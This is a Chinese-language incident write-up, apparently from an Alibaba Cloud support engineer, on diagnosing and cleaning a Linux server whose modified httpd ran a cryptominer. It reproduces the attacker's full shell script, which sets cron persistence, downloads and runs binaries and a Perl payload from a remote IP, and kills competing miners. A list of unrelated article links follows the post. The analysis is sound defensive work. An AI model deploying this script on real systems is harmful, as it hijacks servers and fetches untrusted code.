Linux系统cpu 100%修复案例

​阿里云技术支持团队:完颜镇江

案例背景:

Linux主机连续三天CPU%

处理思路:

1、  登录服务器查看/var/log/messages+/var/log/messages.1+/var/log/messages.3里恰好没那三天的日志

2、  dmesg里也无有用的信息

3、  至此怀疑是被攻击了,自然而然的去看对应时间点的带宽占用情况,查看之后发现带宽一切正常,继续排查

4、  怀疑是某个程序的异常,首先的从web进程开始查,通过httpd的erorr_log发现了异常的现象,httpd程序被修改过,执行的脚本就是附录的shell脚本

2014-09-0319:19:50 (124 KB/s) - “plm” saved [26587/26587]

FINISHED--2014-09-03 19:19:50--

Downloaded:1 files, 26K in 0.2s (124 KB/s)

+ perlplm

+ rm -rfplm

+ chmod+x apache

+ chmod+x apache-ssl

++ ps x

++ grep-v grep

++ awk'{print $1}'

++ grep stratum

+ kill -9

kill:usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l[sigspec]

+ killall-9 kav m32 m64 apache apache-ssl

kav: noprocess killed

m32: noprocess killed

m64: noprocess killed

apache:no process killed

apache-ssl:no process killed

+ PATH=.

+ apache-c httpd.conf

a.sh:./apache: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory

[root@iZ23vqwi2k5Z~]# + PATH=.

+apache-ssl -c httpd.conf

[2014-09-0319:19:50] Starting Stratum on stratum+tcp://80.240.137.183:3333/

[2014-09-0319:19:50] 2 miner threads started, using 'scrypt' algorithm.

[2014-09-0319:19:50] Binding thread 0 to cpu 0

[2014-09-0319:19:50] Binding thread 1 to cpu 1

[2014-09-0319:19:51] Stratum detected new block

[2014-09-0319:20:02] Stratum detected new block

[2014-09-03 19:22:53] Stratum detected new block

5、  在阿里云的测试机器上,通过运行这个脚本,测试运行的过程中cpu持续100%,httpd的error_log的内容和客户机器上的基本一致,(看来是基本功没做好的黑客,屁股没擦干净)至此已经完全定位问题,怀疑是服务器web程序被修改拿来干坏事(怀疑挖矿)

6、  清除异常进程的的思路,按照脚本内容做大致的推测

(1)、首先想到的是删除异常目录文件

# rm -rf /dev/shm/*(删除)

(2)、ps到具体的进程kill掉

#Ps aux|grep apche

#root      1615  199 0.1 314992  4200 pts/0    Sl  19:19  37:38 apache-ssl -chttpd.conf

#pkill -9 apache

#ps aux|grep apache|awk '{print $2}'|xargs kill -9(删除恶意进程)

(3)、以上操作执行之后发现异常目录文件再次生成,apache-ssl进程再次启动,查看脚本里有对cron的操作,把cron清空,再次执行之上的动作就可以了

# crontab –l

* * * * * /dev/shm/update >/dev/null 2>&1

(4)、试着重新启动httpd进程,发现失败,查看日志是配置文件的异常,查看httpd.conf出现bak的备份文件,良心黑客啊,干坏事不忘记先给客户备份文件。

# pwd

/alidata/server/httpd/conf

# cp httpd.conf.bak httpd.conf

# /etc/init.d/httpd start(此步骤httpd进程恢复)

7、  附录恶意用户的shell内容

#!/bin/sh

crontab-r

cd/dev/shm

rm -rf a*c* update*

pwd >mech.dir

dir=$(catmech.dir)

echo"* * * * * $dir/update >/dev/null 2>&1" > cron.d

crontabcron.d

crontab-l | grep update

wget 173.255.212.191/update>> /dev/null &&

curl -Ohttp://173.255.212.191/update >> /dev/null &&

chmod u+xupdate

#chattr-ia bash

#chattr-ia *

curl -Ohttp://173.255.212.191/apache

curl -Ohttp://173.255.212.191/apache-ssl

crul -Ohttp://173.255.212.191/httpd.conf

wget173.255.212.191/httpd.conf

wgethttp://173.255.212.191/apache

wgethttp://173.255.212.191/apache-ssl

wget wgethttp://173.255.212.191/plm

perl plm

rm -rfplm*

chmod +xapache

chmod +xapache-ssl

#kill -9`ps x|grep miner|grep -v grep|awk '{print $1}'`

kill -9`ps x|grep stratum|grep -v grep|awk '{print $1}'`

killall-9 kav m32 m64 apache apache-ssl

PATH="."apache -c httpd.conf &

PATH="."apache-ssl -c httpd.conf &

#chattr+ia bash

#chattr +ia sh

处理的思路是这样的,比较彻底的是备份数据重置系统(推荐的做法)

Linux系统cpu 100%修复案例的更多相关文章

  1. linux系统CPU,内存,磁盘,网络流量监控脚本

    前序 1,#cat /proc/stat/ 信息包含了所有CPU活动的信息,该文件中的所有值都是从系统启动开始累积到当前时刻 2,#vmstat –s 或者#vmstat 虚拟内存统计 3, #cat ...

  2. Java获取Linux系统cpu使用率

    原文:http://www.open-open.com/code/view/1426152165201 import java.io.BufferedReader; import java.io.Fi ...

  3. linux Kernell crash dump------kdump 的安装设置+Linux系统崩溃的修复解决过程+mysql+kvm

    http://www.ibm.com/developerworks/cn/linux/l-cn-dumpanalyse/https://www.kernel.org/pub/linux/utils/k ...

  4. Linux系统CPU相关信息查询

    Linux系统CPU相关信息查询 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.lscpu常用参数介绍 1>.查看帮助信息 [root@node105 ~]# lscpu ...

  5. C/C++获取Linux系统CPU和内存及硬盘使用情况

    需求分析: 不使用Top  df  free 等命令,利用C/C++获取Linux系统CPU和内存及硬盘使用情况 实现: //通过获取/proc/stat (CPU)和/proc/meminfo(内存 ...

  6. 关于linux系统CPU篇--->不容易发现的占用CPU较高进程

    1.系统的CPU使用率,不仅包括进程用户态和内核态的运行,还包括中断处理,等待IO以及内核线程等等.所以,当你发现系统的CPU使用率很高的时候,不一定能找到相对应的高CPU使用率的进程 2.案例分析, ...

  7. 云服务器 ECS Linux 系统 CPU 占用率较高问题排查思路

    https://help.aliyun.com/knowledge_detail/41225.html?spm=5176.7841174.2.2.ifP9Sc 注意:本文相关配置及说明已在 CentO ...

  8. 关于linux系统CPU篇--->CPU使用率升高

    1.CPU使用率为单位时间内CPU使用情况的统计,以百分比的方式展示. LINUX作为一个多任务操作系统,将每个CPU的时间划分为很短的时间片,再通过调度器轮流分配给各个任务使用,因此造成多任务同时运 ...

  9. 关于linux系统CPU篇--->上下文切换

    1.什么是CPU上下文切换? linux是一个多任务操作系统,它支持远大于CPU数量的任务同时运行,当然这些任务实际上并不是真的同时在运行,而是因为系统在很短的时间内,将CPU轮流分配给它们,造成多任 ...

随机推荐

  1. mysql慢查询Slow Query Log和未使用索引(Not Using Indexes)查询配置和使用

    mysql的“慢查询”指的是超过了允许的最大查询时间(long_query_time)的sql语句,而“未使用索引”查询顾名思义就是查询语句没有使用到索引的sql语句. 慢查询配置和使用 在msyql ...

  2. CodeForces 711C Coloring Trees (DP)

    题意:给定n棵树,其中有一些已经涂了颜色,然后让你把没有涂色的树涂色使得所有的树能够恰好分成k组,让你求最少的花费是多少. 析:这是一个DP题,dp[i][j][k]表示第 i 棵树涂第 j 种颜色恰 ...

  3. 判断时间大小 yyyy-MM-dd 格式

    // yyyy-MM-dd function bigThanToday(someDate){ var date = new Date(); var dateStr = date.getFullYear ...

  4. thinkphp 定位查询 Model:last您所请求的方法不存在!

    thinkphp 定位查询 Model:last您所请求的方法不存在!   用thinkphp3.1做项目的时候为了获取记录表中最后一个id用到了last()方法,出现了这个错误:Model:last ...

  5. IE下判断IE版本的语句...[if lte IE 6]……[endif]

    <!--[if lte IE 6]> <![endif]--> IE6及其以下版本可见 <!--[if lte IE 7]> <![endif]--> ...

  6. Oracle Job相关

    Oracle JOB的建立,定时执行任务      begin            sys.dbms_job.submit(job => :job,                       ...

  7. 重学HTML

    http://www.imooc.com/learn/9 1.em/strong 如果想在一段话中特别强调某几个文字,这时候就可以用到<em>或<strong>标签. 但两者在 ...

  8. ngTbale假分页实现排序、搜索、导出CSV等功能

    一. ngTable功能简化 使用ngTable经常有分页,排序,过滤等功能,实现诸多功能较为麻烦.为了方便开发过程,可以抽取一些table共同点写一个公有方法. 注意: 1. 由于很多特别的需求,可 ...

  9. win8下hosts保存文档失败,提示:请检查文件是否被另一个应用程序打开

    选择文件,然后右键点击属性,然后进入"安全"选项卡下点击当前用户对用的用户名然后编辑权限,给予完全控制的权限. 如图: 图一:

  10. Android中GridView的实现实例

    实现效果: activity文件代码: package com.tmacsky; import android.app.Activity; import android.os.Bundle; impo ...